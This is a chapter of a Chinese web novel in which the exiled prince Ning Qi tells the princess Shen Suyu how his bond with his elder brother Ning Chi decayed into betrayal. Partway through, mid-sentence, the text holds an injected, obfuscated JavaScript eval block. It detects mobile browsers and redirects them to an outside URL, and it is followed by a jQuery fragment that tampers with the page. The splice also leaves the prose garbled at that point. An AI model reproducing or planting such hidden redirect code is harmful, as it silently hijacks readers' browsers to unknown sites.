走着走着便到了乘鸾殿。
沈宿雨停下脚步,“就送到这里吧。”
风雪停息,寒月清明,月光洒落在她的眉眼上,比初见时多了几分疲倦与惆怅。
宁祈点头转身消失在夜色里。
沈宿雨回到乘鸾殿时身心俱疲,这波云诡谲的斗争才稍稍揭开它的真面目。
她一身寒气,这时才有些滞后性地觉得冷,她看着室内燃烧的炭火,明灭闪烁。
她想到了现如今的局势,冥冥之中感觉会发生什么大事,天下的局势会大变。
现如今只能走一步看一步了,至于宁祈的话,只能先顺着他的意思来了。
她在这深宫中生活了十五年,前十五年都是在母后的庇佑呵护下长大,天真无邪,懵懂无知。
暖意渐渐重新回到这副被冻僵身体上面,她摩挲了一下肩膀,手臂。
现如今朝夕之间便推翻她之前的全部认知。
她沐浴更衣之后便沉沉睡去。
次日她醒来之时便从接到从朝堂之上传过来的圣旨,她要与宛国的新君和亲。
她跪地俯首接下旨意,再抬头时她看见周围人的脸上皆浮现出笑容,或虚伪,或真心。好像是千篇一律的蜡皮人像,被赋予同一张神态表情。
她不禁想,为什么呢?,为什么宁祈要与她成婚呢,她有什么利用价值呢,身份地位,好像都特别尴尬。
她透过人群向室外望去,看到了铺天盖地的大雪。
瑞雪兆丰年,是再吉利不过的象征了。
她只觉心口堵塞,莫名其妙的她便觉得,如果真的与宁祈和亲的话,那么有什么东西就再也改变不了了。
她一下子就迷茫了,与宁祈和亲真的是最好的选择吗?
可以现在落在她手里并没有多少选择。
她只能去权衡利弊,选择那个看似最好的选择。
她手里握着圣旨,上面还带着从外面带过来时染上的寒气。她此刻却觉得这是烫手山芋。
她在心里默默地叹了一口气,看起来失魂落魄。
随后她便收敛起情绪,看起来不悲不喜,宠辱不惊。
傍晚宁祈又来看她,那时她正坐在院子里看书,他悄无声息的出现在她身后。
他总是这样神不知鬼不觉,来去如风。
她合上手中的书,抬头去看他。
凉风徐徐吹过,这时雪已经停了。
“你怎么来了?”
“我不能来吗?”
沈宿雨难得有点无语,不再说话。
宁祈问道:“你难道对我就一点都不好奇吗?”
你对我这个人没有一点探究,不解吗?
沈宿雨好整以暇地看向他,“不好奇。”
那双眼睛里没有没有闪过一丝疑惑猜忌。“毕竟每个人都有属于自己的秘密。”
宁祈蹲在她旁边,不自在道:“这也不算是什么秘密。”
风沙沙吹过,显得他的声音有点闷。
沈宿雨从善如流道:“那你到底是什么身份呢?”
宁祈没想到她会问这个,停顿了一会儿便回答道:“前宛国国君的胞弟。”
沈宿雨听到这个回答并没有很惊讶,意料之中。
宁祈偏头看她,打量她的表情,“不惊讶吗?”
沈宿雨并没有回视他,“猜到了。”
宁祈兴致缺缺地收回目光,“真没意思。”
沈宿雨不由笑起来,“说点我不知道的呗,我喜欢听故事。”
宁祈低下头,神情有些恍惚,他母妃也很喜欢听故事,“你想听什么故事?”
沈宿雨托着下巴,“你和你哥哥发生了什么才会走到今天这一步。”
宁祈听她这样问,罕见的失神了片刻,是啊,到底发生了什么才会走到今天这一步?
宁祈笑着说:“这个问题嘛,你就这么确定我们之前关系很好吗?”
沈宿雨的眼底才终于闪过一丝疑惑,“难道不是吗?”
天底下怎么会有关系不好的亲兄弟呢?
他垂下眼睑,似乎是陷入回忆,“你没说错,我们之前的关系确实很好。”
他眼底浮现起笑意,神色也是难得的温柔,连语气都染上眷恋。
好到,在他小时候对未来的设想中,根本没有过今天这副局面。
从谈笑风生,到相对无言。
从相依为命,到刀剑相见。
宁迟啊,是全天下最好的兄长,也是全天下最差的兄长。
宁祈又问道:“你当真想听?”
沈宿雨:“有什么不能讲的皇室秘辛吗?”
宁祈轻笑了一下,“没有。”
只是这笑声太苦涩了,听起来倒不像是笑声,而是人哭泣时的哽咽的啜泣。
“最开始是两个娘不疼爹不爱在宫里朝不保夕,人尽可欺的小苦瓜。”
“再后来是一个成为了人人敬畏尊崇的天下共主,一个成为了人人喊打喊杀的阶下囚臣。”
“现如今是一个穷途末路亡命之徒,一个大仇得报风光无两。”
这时暮色四合,夕阳西下,平白为人笼罩上一层遗憾苍凉。
宁祈仍然低着头,竟让人觉得他像一条丧家之犬,莫名有点好笑。
雪在这时慢慢落下来,宁祈缓缓抬起头,“你知道吗,那时候最难熬的便是冬天了。”
“下雪的时候总是好冷,我们好几次差点冻死,我们没有碳火,没有过冬的衣被。”
“我一度以为我们挺不过的冬天却都挺过去了。”
“那时候连解决温饱都是一个问题,后来再怎么艰难,都没有那时候艰难。”
“宁迟小时候对我真的很好,好到,事事以我为先,我直到现在都很恍惚,一个人的变化怎么能这么大。”
“我曾经以为是权利,可如今我坐到这个位置上来,我并不觉得权利能这样改变一个人。”
“午夜梦回时,我总能梦到七岁那年,他拿着风筝在前面跑,我在后面追,他回头对我笑。”
那时候穷困潦倒,饥饿,寒冷,危险,死亡随时向我们袭来,同样快乐幸福也触手可及。
“后来随着我们长大,母妃渐渐看到了我们的利用价值便开始培养我们。他就是从那个时候开始改变的。”
“他把我当做他的竞争对手,防我如防贼。”
之前的种种幸福美好像一场不真实的幻梦。
“他成了靖王,我成了景王。”
“我们越来越渐行渐远,形同陌路。”
“后面我实在接受不了,我当时就在想,我必须做点什么,我去找他谈心。”
“他让我放弃宁祈这个身份,假死脱身助他管理他培养暗卫。”
“我不想我们的关系越来越糟糕,越来越不可挽回,所以我答应了。”
“其实我本来也不在意什么荣华富,权势声名,景王这个身份对我来说可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917204|177006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有可无。”
“只是我没有想到,他早已不是当年那个事事以我为先的宁迟了,这一切不过是我在自作多情。”
“后来朝堂上少了一个宁祈,暗处里多了一个十七。”
“我为他出生入死,赴汤蹈火。”
“这些都没能打动他的那颗铁石寒心,却成为了我知晓他的太多秘密,必死的原因。”
雪越下越大,越下越密,像是在述说一场不为人知的冤屈。
“后来他继承大统,揭露我的身份,把他身上的各种罪名都推给我,我恶贯满盈,罄竹难书。”
“母妃出面救下我,我又成了母妃手里的暗卫。”
说到这里,他短促的笑了一下,像是在讲什么很荒唐好笑的故事。
“我终于幡然醒悟,开始在暗中培养自己的势力,一点点架空母妃与宁迟的势力。”
“我一直再等一个天赐良机,刚好你来了,沈宿雨。”
沈宿雨一直沉默地听他讲完,这时她才缓声开口:“那你得到你想要的东西了吗?宁祈。”
风雪飒飒而过,宁祈的声音听起来有一点沙哑,“都不重要了。”
这时天彻底沉下来,月亮升起。
他又道:“你说权利当真这么厉害吗?能让人面目全非。”
沈宿雨眼底也浮现一片哀伤,“谁知道呢?”
宁祈:“我曾经以为这世间能打败感情的只有在分别中漫长的时间,后来他改变的每一秒我都相伴左右。”
“我看着他一点一点变得陌生我却无能为力。”
“原来有的人真是近在眼前,远在天边。”
世间最折磨的人莫过于此,从信任到怀疑,从熟悉到陌生。深深的无能无力。
从一无所有到一无所有。
“说实话,我并不怪他,我只是怪我自己。”
所有人都变了,只有他还停留在原地,怎么不算是一种孤独呢?
他身上已经积了一层薄薄的落雪,他却全然不在意,独自沉浸在回忆里。
给宁迟当暗卫的那些年,他替他做过无数次各种危险的任务。
好几次差点有去无回。
每次生死一线,危在旦夕的时候,他就会想起宁迟。
于是一次又一次,爬起来,站起来。
心是什么时候死的呢?
好像是在很久之前。
好像也是这样一个风雪天,他做完任务归来,满身血迹,有他的,有敌人的,不知道是他的更多,还是敌人的更多。
夜黑风高,满天霜雪,他坐在靖王府的屋檐上。
屋檐下宁迟正在为新招募而来的门生庆祝,筵席热闹,把酒言欢。
屋檐上宁祈孤身一人与这冰天雪地,孤寂长夜对饮。
那一天是他的生辰。
只有他自己记得。
他从那天起就知道,宁迟永远的变了,他再也不是那个年少时尽兄长之职,事事以他为先,会在冬天为他暖手,会永远记得他的生辰为他庆生,会担心照顾他的安危的宁迟。
他的宁迟再也回不来了,只是他很久之后才承认。
他曾经在每次执行着几乎必死的任务时,很想问宁迟,他在乎他吗?他怕不怕他死?
为什么要给他安排这么危险的任务?
他还是他的好哥哥吗?
或许早就不是了。
所有人都在向前走,只有他自己还困囿于过去。